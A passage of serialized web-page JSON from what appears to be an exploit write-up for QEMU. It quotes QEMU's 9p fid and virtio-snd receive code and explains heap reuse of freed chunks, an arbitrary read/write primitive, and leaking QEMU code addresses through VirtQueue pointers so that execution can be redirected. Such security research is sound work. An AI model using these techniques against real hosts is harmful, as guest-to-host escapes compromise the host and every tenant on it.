",{"type":22,"tag":118,"props":131907,"children":131908},{"style":210},[131909],{"type":28,"value":671},{"type":22,"tag":118,"props":131911,"children":131912},{"style":532},[131913],{"type":28,"value":131523},{"type":22,"tag":118,"props":131915,"children":131916},{"style":125},[131917],{"type":28,"value":131918},"(V9fsState ",{"type":22,"tag":118,"props":131920,"children":131921},{"style":210},[131922],{"type":28,"value":671},{"type":22,"tag":118,"props":131924,"children":131925},{"style":204},[131926],{"type":28,"value":12650},{"type":22,"tag":118,"props":131928,"children":131929},{"style":125},[131930],{"type":28,"value":231},{"type":22,"tag":118,"props":131932,"children":131933},{"style":146},[131934],{"type":28,"value":131935},"int32_t",{"type":22,"tag":118,"props":131937,"children":131938},{"style":204},[131939],{"type":28,"value":131940}," fid",{"type":22,"tag":118,"props":131942,"children":131943},{"style":125},[131944],{"type":28,"value":3665},{"type":22,"tag":118,"props":131946,"children":131947},{"class":120,"line":699},[131948],{"type":22,"tag":118,"props":131949,"children":131950},{"style":125},[131951],{"type":28,"value":12879},{"type":22,"tag":118,"props":131953,"children":131954},{"class":120,"line":729},[131955,131959,131963],{"type":22,"tag":118,"props":131956,"children":131957},{"style":125},[131958],{"type":28,"value":129687},{"type":22,"tag":118,"props":131960,"children":131961},{"style":210},[131962],{"type":28,"value":671},{"type":22,"tag":118,"props":131964,"children":131965},{"style":125},[131966],{"type":28,"value":53106},{"type":22,"tag":118,"props":131968,"children":131969},{"class":120,"line":771},[131970],{"type":22,"tag":118,"props":131971,"children":131972},{"emptyLinePlaceholder":15},[131973],{"type":28,"value":250},{"type":22,"tag":118,"props":131975,"children":131976},{"class":120,"line":785},[131977,131982,131986,131991,131995,131999,132003,132008,132012,132017],{"type":22,"tag":118,"props":131978,"children":131979},{"style":125},[131980],{"type":28,"value":131981},"    f ",{"type":22,"tag":118,"props":131983,"children":131984},{"style":210},[131985],{"type":28,"value":282},{"type":22,"tag":118,"props":131987,"children":131988},{"style":532},[131989],{"type":28,"value":131990}," g_hash_table_lookup",{"type":22,"tag":118,"props":131992,"children":131993},{"style":125},[131994],{"type":28,"value":540},{"type":22,"tag":118,"props":131996,"children":131997},{"style":204},[131998],{"type":28,"value":12650},{"type":22,"tag":118,"props":132000,"children":132001},{"style":125},[132002],{"type":28,"value":593},{"type":22,"tag":118,"props":132004,"children":132005},{"style":204},[132006],{"type":28,"value":132007},"fids",{"type":22,"tag":118,"props":132009,"children":132010},{"style":125},[132011],{"type":28,"value":231},{"type":22,"tag":118,"props":132013,"children":132014},{"style":532},[132015],{"type":28,"value":132016},"GINT_TO_POINTER",{"type":22,"tag":118,"props":132018,"children":132019},{"style":125},[132020],{"type":28,"value":132021},"(fid));\n",{"type":22,"tag":118,"props":132023,"children":132024},{"class":120,"line":804},[132025,132029],{"type":22,"tag":118,"props":132026,"children":132027},{"style":1480},[132028],{"type":28,"value":2159},{"type":22,"tag":118,"props":132030,"children":132031},{"style":125},[132032],{"type":28,"value":132033}," (f) {\n",{"type":22,"tag":118,"props":132035,"children":132036},{"class":120,"line":812},[132037],{"type":22,"tag":118,"props":132038,"children":132039},{"style":257},[132040],{"type":28,"value":132041},"        /* If fid is already there return NULL */\n",{"type":22,"tag":118,"props":132043,"children":132044},{"class":120,"line":821},[132045,132050,132054,132058,132062,132067],{"type":22,"tag":118,"props":132046,"children":132047},{"style":532},[132048],{"type":28,"value":132049},"        BUG_ON",{"type":22,"tag":118,"props":132051,"children":132052},{"style":125},[132053],{"type":28,"value":540},{"type":22,"tag":118,"props":132055,"children":132056},{"style":204},[132057],{"type":28,"value":35024},{"type":22,"tag":118,"props":132059,"children":132060},{"style":125},[132061],{"type":28,"value":593},{"type":22,"tag":118,"props":132063,"children":132064},{"style":204},[132065],{"type":28,"value":132066},"clunked",{"type":22,"tag":118,"props":132068,"children":132069},{"style":125},[132070],{"type":28,"value":682},{"type":22,"tag":118,"props":132072,"children":132073},{"class":120,"line":900},[132074,132078,132082],{"type":22,"tag":118,"props":132075,"children":132076},{"style":1480},[132077],{"type":28,"value":2223},{"type":22,"tag":118,"props":132079,"children":132080},{"style":146},[132081],{"type":28,"value":129366},{"type":22,"tag":118,"props":132083,"children":132084},{"style":125},[132085],{"type":28,"value":801},{"type":22,"tag":118,"props":132087,"children":132088},{"class":120,"line":913},[132089],{"type":22,"tag":118,"props":132090,"children":132091},{"style":125},[132092],{"type":28,"value":1254},{"type":22,"tag":118,"props":132094,"children":132095},{"class":120,"line":953},[132096,132100,132104,132109,132114,132118],{"type":22,"tag":118,"props":132097,"children":132098},{"style":125},[132099],{"type":28,"value":131981},{"type":22,"tag":118,"props":132101,"children":132102},{"style":210},[132103],{"type":28,"value":282},{"type":22,"tag":118,"props":132105,"children":132106},{"style":532},[132107],{"type":28,"value":132108}," g_new0",{"type":22,"tag":118,"props":132110,"children":132111},{"style":125},[132112],{"type":28,"value":132113},"(V9fsFidState, ",{"type":22,"tag":118,"props":132115,"children":132116},{"style":674},[132117],{"type":28,"value":6026},{"type":22,"tag":118,"props":132119,"children":132120},{"style":125},[132121],{"type":28,"value":682},{"type":22,"tag":118,"props":132123,"children":132124},{"class":120,"line":982},[132125],{"type":22,"tag":118,"props":132126,"children":132127},{"emptyLinePlaceholder":15},[132128],{"type":28,"value":250},{"type":22,"tag":118,"props":132130,"children":132131},{"class":120,"line":995},[132132],{"type":22,"tag":118,"props":132133,"children":132134},{"style":125},[132135],{"type":28,"value":106397},{"type":22,"tag":31,"props":132137,"children":132138},{},[132139,132141,132146],{"type":28,"value":132140},"After it is allocated, it will be placed into that freed region in place of the old ",{"type":22,"tag":114,"props":132142,"children":132144},{"className":132143},[],[132145],{"type":28,"value":130941},{"type":28,"value":130278},{"type":22,"tag":107,"props":132148,"children":132150},{"code":132149},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                                         |\nv                                         v\n+--------------------+---------------+----+\n|                    |               |....|\n|      .value Y      |  V9fsFidState |....|\n|                    |               |....|\n+--------------------+---------------+----+\n",[132151],{"type":22,"tag":114,"props":132152,"children":132153},{"__ignoreMap":7},[132154],{"type":28,"value":132149},{"type":22,"tag":1899,"props":132156,"children":132158},{"id":132157},"leaking-a-qemu-address",[132159],{"type":28,"value":132160},"Leaking a QEMU Address",{"type":22,"tag":31,"props":132162,"children":132163},{},[132164],{"type":28,"value":132165},"We now have an arbitrary read/write primitive and a controlled chunk at a known address. The next step is to leak a QEMU code address so we can later redirect execution. To do this, we combine the arbitrary read primitive with the known-address chunk: we free that chunk, replace it with an object that contains pointers into QEMU's code or data, and then use arbitrary read to leak its fields.",{"type":22,"tag":31,"props":132167,"children":132168},{},[132169,132171,132176],{"type":28,"value":132170},"For this, we go back to virtio-snd and its buffer allocations. Recall ",{"type":22,"tag":114,"props":132172,"children":132174},{"className":132173},[],[132175],{"type":28,"value":125361},{"type":28,"value":213},{"type":22,"tag":107,"props":132178,"children":132180},{"code":132179,"language":5169,"meta":7,"className":18481,"style":7},"static void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n    VirtIOSound *vsnd = VIRTIO_SND(vdev);\n    VirtIOSoundPCMBuffer *buffer;\n    VirtQueueElement *elem;\n    size_t msg_sz, size;\n    uint32_t stream_id;\n\n    [...]\n\n    for (;;) {\n        VirtIOSoundPCMStream *stream;\n\n        elem = virtqueue_pop(vq, sizeof(VirtQueueElement));\n        if (!elem) {\n            break;\n        }\n        /* get the message hdr object */\n        msg_sz = iov_to_buf(elem->out_sg,\n                            elem->out_num,\n                            0,\n                            &hdr,\n                            sizeof(virtio_snd_pcm_xfer));\n        if (msg_sz != sizeof(virtio_snd_pcm_xfer)) {\n            goto rx_err;\n        }\n        stream_id = le32_to_cpu(hdr.stream_id);\n\n        [...]\n\n        WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n            size = iov_size(elem->in_sg, elem->in_num) -\n                sizeof(virtio_snd_pcm_status);\n            buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);    // [1]\n            buffer->elem = elem;\n            buffer->vq = vq;                                            // [2]\n            buffer->size = 0;\n            buffer->offset = 0;\n            QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry);\n        }\n",[132181],{"type":22,"tag":114,"props":132182,"children":132183},{"__ignoreMap":7},[132184,132227,132234,132265,132280,132295,132307,132320,132327,132334,132341,132352,132367,132374,132402,132421,132432,132439,132447,132484,132505,132517,132530,132543,132569,132581,132588,132626,132633,132640,132647,132678,132733,132745,132786,132809,132838,132865,132892,132924],{"type":22,"tag":118,"props":132185,"children":132186},{"class":120,"line":121},[132187,132191,132195,132199,132203,132207,132211,132215,132219,132223],{"type":22,"tag":118,"props":132188,"children":132189},{"style":146},[132190],{"type":28,"value":52985},{"type":22,"tag":118,"props":132192,"children":132193},{"style":146},[132194],{"type":28,"value":52990},{"type":22,"tag":118,"props":132196,"children":132197},{"style":532},[132198],{"type":28,"value":125440},{"type":22,"tag":118,"props":132200,"children":132201},{"style":125},[132202],{"type":28,"value":125445},{"type":22,"tag":118,"props":132204,"children":132205},{"style":210},[132206],{"type":28,"value":671},{"type":22,"tag":118,"props":132208,"children":132209},{"style":204},[132210],{"type":28,"value":125454},{"type":22,"tag":118,"props":132212,"children":132213},{"style":125},[132214],{"type":28,"value":125459},{"type":22,"tag":118,"props":132216,"children":132217},{"style":210},[132218],{"type":28,"value":671},{"type":22,"tag":118,"props":132220,"children":132221},{"style":204},[132222],{"type":28,"value":125468},{"type":22,"tag":118,"props":132224,"children":132225},{"style":125},[132226],{"type":28,"value":3665},{"type":22,"tag":118,"props":132228,"children":132229},{"class":120,"line":142},[132230],{"type":22,"tag":118,"props":132231,"children":132232},{"style":125},[132233],{"type":28,"value":12879},{"type":22,"tag":118,"props":132235,"children":132236},{"class":120,"line":177},[132237,132242,132246,132251,132255,132260],{"type":22,"tag":118,"props":132238,"children":132239},{"style":125},[132240],{"type":28,"value":132241},"    VirtIOSound ",{"type":22,"tag":118,"props":132243,"children":132244},{"style":210},[132245],{"type":28,"value":671},{"type":22,"tag":118,"props":132247,"children":132248},{"style":125},[132249],{"type":28,"value":132250},"vsnd ",{"type":22,"tag":118,"props":132252,"children":132253},{"style":210},[132254],{"type":28,"value":282},{"type":22,"tag":118,"props":132256,"children":132257},{"style":532},[132258],{"type":28,"value":132259}," VIRTIO_SND",{"type":22,"tag":118,"props":132261,"children":132262},{"style":125},[132263],{"type":28,"value":132264},"(vdev);\n",{"type":22,"tag":118,"props":132266,"children":132267},{"class":120,"line":195},[132268,132272,132276],{"type":22,"tag":118,"props":132269,"children":132270},{"style":125},[132271],{"type":28,"value":126458},{"type":22,"tag":118,"props":132273,"children":132274},{"style":210},[132275],{"type":28,"value":671},{"type":22,"tag":118,"props":132277,"children":132278},{"style":125},[132279],{"type":28,"value":126467},{"type":22,"tag":118,"props":132281,"children":132282},{"class":120,"line":244},[132283,132287,132291],{"type":22,"tag":118,"props":132284,"children":132285},{"style":125},[132286],{"type":28,"value":125487},{"type":22,"tag":118,"props":132288,"children":132289},{"style":210},[132290],{"type":28,"value":671},{"type":22,"tag":118,"props":132292,"children":132293},{"style":125},[132294],{"type":28,"value":125496},{"type":22,"tag":118,"props":132296,"children":132297},{"class":120,"line":253},[132298,132302],{"type":22,"tag":118,"props":132299,"children":132300},{"style":146},[132301],{"type":28,"value":18531},{"type":22,"tag":118,"props":132303,"children":132304},{"style":125},[132305],{"type":28,"value":132306}," msg_sz, size;\n",{"type":22,"tag":118,"props":132308,"children":132309},{"class":120,"line":263},[132310,132315],{"type":22,"tag":118,"props":132311,"children":132312},{"style":146},[132313],{"type":28,"value":132314},"    uint32_t",{"type":22,"tag":118,"props":132316,"children":132317},{"style":125},[132318],{"type":28,"value":132319}," stream_id;\n",{"type":22,"tag":118,"props":132321,"children":132322},{"class":120,"line":318},[132323],{"type":22,"tag":118,"props":132324,"children":132325},{"emptyLinePlaceholder":15},[132326],{"type":28,"value":250},{"type":22,"tag":118,"props":132328,"children":132329},{"class":120,"line":351},[132330],{"type":22,"tag":118,"props":132331,"children":132332},{"style":125},[132333],{"type":28,"value":106397},{"type":22,"tag":118,"props":132335,"children":132336},{"class":120,"line":359},[132337],{"type":22,"tag":118,"props":132338,"children":132339},{"emptyLinePlaceholder":15},[132340],{"type":28,"value":250},{"type":22,"tag":118,"props":132342,"children":132343},{"class":120,"line":368},[132344,132348],{"type":22,"tag":118,"props":132345,"children":132346},{"style":1480},[132347],{"type":28,"value":5059},{"type":22,"tag":118,"props":132349,"children":132350},{"style":125},[132351],{"type":28,"value":125522},{"type":22,"tag":118,"props":132353,"children":132354},{"class":120,"line":384},[132355,132359,132363],{"type":22,"tag":118,"props":132356,"children":132357},{"style":125},[132358],{"type":28,"value":125530},{"type":22,"tag":118,"props":132360,"children":132361},{"style":210},[132362],{"type":28,"value":671},{"type":22,"tag":118,"props":132364,"children":132365},{"style":125},[132366],{"type":28,"value":125539},{"type":22,"tag":118,"props":132368,"children":132369},{"class":120,"line":417},[132370],{"type":22,"tag":118,"props":132371,"children":132372},{"emptyLinePlaceholder":15},[132373],{"type":28,"value":250},{"type":22,"tag":118,"props":132375,"children":132376},{"class":120,"line":425},[132377,132381,132385,132389,132393,132397],{"type":22,"tag":118,"props":132378,"children":132379},{"style":125},[132380],{"type":28,"value":125554},{"type":22,"tag":118,"props":132382,"children":132383},{"style":210},[132384],{"type":28,"value":282},{"type":22,"tag":118,"props":132386,"children":132387},{"style":532},[132388],{"type":28,"value":125563},{"type":22,"tag":118,"props":132390,"children":132391},{"style":125},[132392],{"type":28,"value":125568},{"type":22,"tag":118,"props":132394,"children":132395},{"style":146},[132396],{"type":28,"value":57269},{"type":22,"tag":118,"props":132398,"children":132399},{"style":125},[132400],{"type":28,"value":132401},"(VirtQueueElement));\n",{"type":22,"tag":118,"props":132403,"children":132404},{"class":120,"line":441},[132405,132409,132413,132417],{"type":22,"tag":118,"props":132406,"children":132407},{"style":1480},[132408],{"type":28,"value":5293},{"type":22,"tag":118,"props":132410,"children":132411},{"style":125},[132412],{"type":28,"value":842},{"type":22,"tag":118,"props":132414,"children":132415},{"style":210},[132416],{"type":28,"value":22581},{"type":22,"tag":118,"props":132418,"children":132419},{"style":125},[132420],{"type":28,"value":125602},{"type":22,"tag":118,"props":132422,"children":132423},{"class":120,"line":475},[132424,132428],{"type":22,"tag":118,"props":132425,"children":132426},{"style":1480},[132427],{"type":28,"value":5318},{"type":22,"tag":118,"props":132429,"children":132430},{"style":125},[132431],{"type":28,"value":801},{"type":22,"tag":118,"props":132433,"children":132434},{"class":120,"line":484},[132435],{"type":22,"tag":118,"props":132436,"children":132437},{"style":125},[132438],{"type":28,"value":1835},{"type":22,"tag":118,"props":132440,"children":132441},{"class":120,"line":492},[132442],{"type":22,"tag":118,"props":132443,"children":132444},{"style":257},[132445],{"type":28,"value":132446},"        /* get the message hdr object */\n",{"type":22,"tag":118,"props":132448,"children":132449},{"class":120,"line":501},[132450,132455,132459,132464,132468,132472,132476,132480],{"type":22,"tag":118,"props":132451,"children":132452},{"style":125},[132453],{"type":28,"value":132454},"        msg_sz ",{"type":22,"tag":118,"props":132456,"children":132457},{"style":210},[132458],{"type":28,"value":282},{"type":22,"tag":118,"props":132460,"children":132461},{"style":532},[132462],{"type":28,"value":132463}," iov_to_buf",{"type":22,"tag":118,"props":132465,"children":132466},{"style":125},[132467],{"type":28,"value":540},{"type":22,"tag":118,"props":132469,"children":132470},{"style":204},[132471],{"type":28,"value":54005},{"type":22,"tag":118,"props":132473,"children":132474},{"style":125},[132475],{"type":28,"value":593},{"type":22,"tag":118,"props":132477,"children":132478},{"style":204},[132479],{"type":28,"value":126006},{"type":22,"tag":118,"props":132481,"children":132482},{"style":125},[132483],{"type":28,"value":782},{"type":22,"tag":118,"props":132485,"children":132486},{"class":120,"line":519},[132487,132492,132496,132501],{"type":22,"tag":118,"props":132488,"children":132489},{"style":204},[132490],{"type":28,"value":132491},"                            elem",{"type":22,"tag":118,"props":132493,"children":132494},{"style":125},[132495],{"type":28,"value":593},{"type":22,"tag":118,"props":132497,"children":132498},{"style":204},[132499],{"type":28,"value":132500},"out_num",{"type":22,"tag":118,"props":132502,"children":132503},{"style":125},[132504],{"type":28,"value":782},{"type":22,"tag":118,"props":132506,"children":132507},{"class":120,"line":606},[132508,132513],{"type":22,"tag":118,"props":132509,"children":132510},{"style":674},[132511],{"type":28,"value":132512},"                            0",{"type":22,"tag":118,"props":132514,"children":132515},{"style":125},[132516],{"type":28,"value":782},{"type":22,"tag":118,"props":132518,"children":132519},{"class":120,"line":615},[132520,132525],{"type":22,"tag":118,"props":132521,"children":132522},{"style":210},[132523],{"type":28,"value":132524},"                            &",{"type":22,"tag":118,"props":132526,"children":132527},{"style":125},[132528],{"type":28,"value":132529},"hdr,\n",{"type":22,"tag":118,"props":132531,"children":132532},{"class":120,"line":685},[132533,132538],{"type":22,"tag":118,"props":132534,"children":132535},{"style":146},[132536],{"type":28,"value":132537},"                            sizeof",{"type":22,"tag":118,"props":132539,"children":132540},{"style":125},[132541],{"type":28,"value":132542},"(virtio_snd_pcm_xfer));\n",{"type":22,"tag":118,"props":132544,"children":132545},{"class":120,"line":699},[132546,132550,132555,132559,132564],{"type":22,"tag":118,"props":132547,"children":132548},{"style":1480},[132549],{"type":28,"value":5293},{"type":22,"tag":118,"props":132551,"children":132552},{"style":125},[132553],{"type":28,"value":132554}," (msg_sz ",{"type":22,"tag":118,"props":132556,"children":132557},{"style":210},[132558],{"type":28,"value":17659},{"type":22,"tag":118,"props":132560,"children":132561},{"style":146},[132562],{"type":28,"value":132563}," sizeof",{"type":22,"tag":118,"props":132565,"children":132566},{"style":125},[132567],{"type":28,"value":132568},"(virtio_snd_pcm_xfer)) {\n",{"type":22,"tag":118,"props":132570,"children":132571},{"class":120,"line":729},[132572,132576],{"type":22,"tag":118,"props":132573,"children":132574},{"style":1480},[132575],{"type":28,"value":62490},{"type":22,"tag":118,"props":132577,"children":132578},{"style":125},[132579],{"type":28,"value":132580}," rx_err;\n",{"type":22,"tag":118,"props":132582,"children":132583},{"class":120,"line":771},[132584],{"type":22,"tag":118,"props":132585,"children":132586},{"style":125},[132587],{"type":28,"value":1835},{"type":22,"tag":118,"props":132589,"children":132590},{"class":120,"line":785},[132591,132596,132600,132604,132608,132613,132617,132622],{"type":22,"tag":118,"props":132592,"children":132593},{"style":125},[132594],{"type":28,"value":132595},"        stream_id ",{"type":22,"tag":118,"props":132597,"children":132598},{"style":210},[132599],{"type":28,"value":282},{"type":22,"tag":118,"props":132601,"children":132602},{"style":532},[132603],{"type":28,"value":127468},{"type":22,"tag":118,"props":132605,"children":132606},{"style":125},[132607],{"type":28,"value":540},{"type":22,"tag":118,"props":132609,"children":132610},{"style":204},[132611],{"type":28,"value":132612},"hdr",{"type":22,"tag":118,"props":132614,"children":132615},{"style":125},[132616],{"type":28,"value":292},{"type":22,"tag":118,"props":132618,"children":132619},{"style":204},[132620],{"type":28,"value":132621},"stream_id",{"type":22,"tag":118,"props":132623,"children":132624},{"style":125},[132625],{"type":28,"value":682},{"type":22,"tag":118,"props":132627,"children":132628},{"class":120,"line":804},[132629],{"type":22,"tag":118,"props":132630,"children":132631},{"emptyLinePlaceholder":15},[132632],{"type":28,"value":250},{"type":22,"tag":118,"props":132634,"children":132635},{"class":120,"line":812},[132636],{"type":22,"tag":118,"props":132637,"children":132638},{"style":125},[132639],{"type":28,"value":125635},{"type":22,"tag":118,"props":132641,"children":132642},{"class":120,"line":821},[132643],{"type":22,"tag":118,"props":132644,"children":132645},{"emptyLinePlaceholder":15},[132646],{"type":28,"value":250},{"type":22,"tag":118,"props":132648,"children":132649},{"class":120,"line":900},[132650,132654,132658,132662,132666,132670,132674],{"type":22,"tag":118,"props":132651,"children":132652},{"style":532},[132653],{"type":28,"value":125650},{"type":22,"tag":118,"props":132655,"children":132656},{"style":125},[132657],{"type":28,"value":540},{"type":22,"tag":118,"props":132659,"children":132660},{"style":210},[132661],{"type":28,"value":1407},{"type":22,"tag":118,"props":132663,"children":132664},{"style":204},[132665],{"type":28,"value":38202},{"type":22,"tag":118,"props":132667,"children":132668},{"style":125},[132669],{"type":28,"value":593},{"type":22,"tag":118,"props":132671,"children":132672},{"style":204},[132673],{"type":28,"value":125671},{"type":22,"tag":118,"props":132675,"children":132676},{"style":125},[132677],{"type":28,"value":16783},{"type":22,"tag":118,"props":132679,"children":132680},{"class":120,"line":913},[132681,132685,132689,132693,132697,132701,132705,132709,132713,132717,132721,132725,132729],{"type":22,"tag":118,"props":132682,"children":132683},{"style":125},[132684],{"type":28,"value":125683},{"type":22,"tag":118,"props":132686,"children":132687},{"style":210},[132688],{"type":28,"value":282},{"type":22,"tag":118,"props":132690,"children":132691},{"style":532},[132692],{"type":28,"value":125692},{"type":22,"tag":118,"props":132694,"children":132695},{"style":125},[132696],{"type":28,"value":540},{"type":22,"tag":118,"props":132698,"children":132699},{"style":204},[132700],{"type":28,"value":54005},{"type":22,"tag":118,"props":132702,"children":132703},{"style":125},[132704],{"type":28,"value":593},{"type":22,"tag":118,"props":132706,"children":132707},{"style":204},[132708],{"type":28,"value":125709},{"type":22,"tag":118,"props":132710,"children":132711},{"style":125},[132712],{"type":28,"value":231},{"type":22,"tag":118,"props":132714,"children":132715},{"style":204},[132716],{"type":28,"value":54005},{"type":22,"tag":118,"props":132718,"children":132719},{"style":125},[132720],{"type":28,"value":593},{"type":22,"tag":118,"props":132722,"children":132723},{"style":204},[132724],{"type":28,"value":125726},{"type":22,"tag":118,"props":132726,"children":132727},{"style":125},[132728],{"type":28,"value":588},{"type":22,"tag":118,"props":132730,"children":132731},{"style":210},[132732],{"type":28,"value":52802},{"type":22,"tag":118,"props":132734,"children":132735},{"class":120,"line":953},[132736,132740],{"type":22,"tag":118,"props":132737,"children":132738},{"style":146},[132739],{"type":28,"value":125742},{"type":22,"tag":118,"props":132741,"children":132742},{"style":125},[132743],{"type":28,"value":132744},"(virtio_snd_pcm_status);\n",{"type":22,"tag":118,"props":132746,"children":132747},{"class":120,"line":982},[132748,132752,132756,132760,132764,132768,132772,132776,132781],{"type":22,"tag":118,"props":132749,"children":132750},{"style":125},[132751],{"type":28,"value":125760},{"type":22,"tag":118,"props":132753,"children":132754},{"style":210},[132755],{"type":28,"value":282},{"type":22,"tag":118,"props":132757,"children":132758},{"style":532},[132759],{"type":28,"value":125769},{"type":22,"tag":118,"props":132761,"children":132762},{"style":125},[132763],{"type":28,"value":540},{"type":22,"tag":118,"props":132765,"children":132766},{"style":146},[132767],{"type":28,"value":57269},{"type":22,"tag":118,"props":132769,"children":132770},{"style":125},[132771],{"type":28,"value":125782},{"type":22,"tag":118,"props":132773,"children":132774},{"style":210},[132775],{"type":28,"value":3220},{"type":22,"tag":118,"props":132777,"children":132778},{"style":125},[132779],{"type":28,"value":132780}," size);",{"type":22,"tag":118,"props":132782,"children":132783},{"style":257},[132784],{"type":28,"value":132785},"    // [1]\n",{"type":22,"tag":118,"props":132787,"children":132788},{"class":120,"line":995},[132789,132793,132797,132801,132805],{"type":22,"tag":118,"props":132790,"children":132791},{"style":204},[132792],{"type":28,"value":125799},{"type":22,"tag":118,"props":132794,"children":132795},{"style":125},[132796],{"type":28,"value":593},{"type":22,"tag":118,"props":132798,"children":132799},{"style":204},[132800],{"type":28,"value":54005},{"type":22,"tag":118,"props":132802,"children":132803},{"style":210},[132804],{"type":28,"value":837},{"type":22,"tag":118,"props":132806,"children":132807},{"style":125},[132808],{"type":28,"value":125816},{"type":22,"tag":118,"props":132810,"children":132811},{"class":120,"line":1011},[132812,132816,132820,132824,132828,132833],{"type":22,"tag":118,"props":132813,"children":132814},{"style":204},[132815],{"type":28,"value":125799},{"type":22,"tag":118,"props":132817,"children":132818},{"style":125},[132819],{"type":28,"value":593},{"type":22,"tag":118,"props":132821,"children":132822},{"style":204},[132823],{"type":28,"value":125468},{"type":22,"tag":118,"props":132825,"children":132826},{"style":210},[132827],{"type":28,"value":837},{"type":22,"tag":118,"props":132829,"children":132830},{"style":125},[132831],{"type":28,"value":132832}," vq;",{"type":22,"tag":118,"props":132834,"children":132835},{"style":257},[132836],{"type":28,"value":132837},"                                            // [2]\n",{"type":22,"tag":118,"props":132839,"children":132840},{"class":120,"line":1019},[132841,132845,132849,132853,132857,132861],{"type":22,"tag":118,"props":132842,"children":132843},{"style":204},[132844],{"type":28,"value":125799},{"type":22,"tag":118,"props":132846,"children":132847},{"style":125},[132848],{"type":28,"value":593},{"type":22,"tag":118,"props":132850,"children":132851},{"style":204},[132852],{"type":28,"value":125856},{"type":22,"tag":118,"props":132854,"children":132855},{"style":210},[132856],{"type":28,"value":837},{"type":22,"tag":118,"props":132858,"children":132859},{"style":674},[132860],{"type":28,"value":5074},{"type":22,"tag":118,"props":132862,"children":132863},{"style":125},[132864],{"type":28,"value":801},{"type":22,"tag":118,"props":132866,"children":132867},{"class":120,"line":1028},[132868,132872,132876,132880,132884,132888],{"type":22,"tag":118,"props":132869,"children":132870},{"style":204},[132871],{"type":28,"value":125799},{"type":22,"tag":118,"props":132873,"children":132874},{"style":125},[132875],{"type":28,"value":593},{"type":22,"tag":118,"props":132877,"children":132878},{"style":204},[132879],{"type":28,"value":15885},{"type":22,"tag":118,"props":132881,"children":132882},{"style":210},[132883],{"type":28,"value":837},{"type":22,"tag":118,"props":132885,"children":132886},{"style":674},[132887],{"type":28,"value":5074},{"type":22,"tag":118,"props":132889,"children":132890},{"style":125},[132891],{"type":28,"value":801},{"type":22,"tag":118,"props":132893,"children":132894},{"class":120,"line":1101},[132895,132899,132903,132907,132911,132915,132919],{"type":22,"tag":118,"props":132896,"children":132897},{"style":532},[132898],{"type":28,"value":125903},{"type":22,"tag":118,"props":132900,"children":132901},{"style":125},[132902],{"type":28,"value":540},{"type":22,"tag":118,"props":132904,"children":132905},{"style":210},[132906],{"type":28,"value":1407},{"type":22,"tag":118,"props":132908,"children":132909},{"style":204},[132910],{"type":28,"value":38202},{"type":22,"tag":118,"props":132912,"children":132913},{"style":125},[132914],{"type":28,"value":593},{"type":22,"tag":118,"props":132916,"children":132917},{"style":204},[132918],{"type":28,"value":125924},{"type":22,"tag":118,"props":132920,"children":132921},{"style":125},[132922],{"type":28,"value":132923},", buffer, entry);\n",{"type":22,"tag":118,"props":132925,"children":132926},{"class":120,"line":1146},[132927],{"type":22,"tag":118,"props":132928,"children":132929},{"style":125},[132930],{"type":28,"value":1835},{"type":22,"tag":31,"props":132932,"children":132933},{},[132934,132935,132940,132942,132947,132949,132954,132956,132962],{"type":28,"value":125978},{"type":22,"tag":114,"props":132936,"children":132938},{"className":132937},[],[132939],{"type":28,"value":125984},{"type":28,"value":132941},", QEMU allocates a ",{"type":22,"tag":114,"props":132943,"children":132945},{"className":132944},[],[132946],{"type":28,"value":126121},{"type":28,"value":132948}," whose size depends on the guest-provided iovec, and at ",{"type":22,"tag":114,"props":132950,"children":132952},{"className":132951},[],[132953],{"type":28,"value":126019},{"type":28,"value":132955}," it stores the ",{"type":22,"tag":114,"props":132957,"children":132959},{"className":132958},[],[132960],{"type":28,"value":132961},"VirtQueue *vq",{"type":28,"value":132963}," pointer into the buffer.",{"type":22,"tag":31,"props":132965,"children":132966},{},[132967,132968,132974],{"type":28,"value":66158},{"type":22,"tag":114,"props":132969,"children":132971},{"className":132970},[],[132972],{"type":28,"value":132973},"VirtQueue",{"type":28,"value":132975}," structure contains some useful fields:",{"type":22,"tag":107,"props":132977,"children":132979},{"code":132978,"language":5169,"meta":7,"className":18481,"style":7},"struct VirtQueue\n{\n    [...]\n\n    VirtIOHandleOutput handle_output;\n    VirtIODevice *vdev;\n\n    [...]\n};\n",[132980],{"type":22,"tag":114,"props":132981,"children":132982},{"__ignoreMap":7},[132983,132995,133002,133009,133016,133024,133041,133048,133055],{"type":22,"tag":118,"props":132984,"children":132985},{"class":120,"line":121},[132986,132990],{"type":22,"tag":118,"props":132987,"children":132988},{"style":146},[132989],{"type":28,"value":11399},{"type":22,"tag":118,"props":132991,"children":132992},{"style":125},[132993],{"type":28,"value":132994}," VirtQueue\n",{"type":22,"tag":118,"props":132996,"children":132997},{"class":120,"line":142},[132998],{"type":22,"tag":118,"props":132999,"children":133000},{"style":125},[133001],{"type":28,"value":12879},{"type":22,"tag":118,"props":133003,"children":133004},{"class":120,"line":177},[133005],{"type":22,"tag":118,"props":133006,"children":133007},{"style":125},[133008],{"type":28,"value":106397},{"type":22,"tag":118,"props":133010,"children":133011},{"class":120,"line":195},[133012],{"type":22,"tag":118,"props":133013,"children":133014},{"emptyLinePlaceholder":15},[133015],{"type":28,"value":250},{"type":22,"tag":118,"props":133017,"children":133018},{"class":120,"line":244},[133019],{"type":22,"tag":118,"props":133020,"children":133021},{"style":125},[133022],{"type":28,"value":133023},"    VirtIOHandleOutput handle_output;\n",{"type":22,"tag":118,"props":133025,"children":133026},{"class":120,"line":253},[133027,133032,133036],{"type":22,"tag":118,"props":133028,"children":133029},{"style":125},[133030],{"type":28,"value":133031},"    VirtIODevice 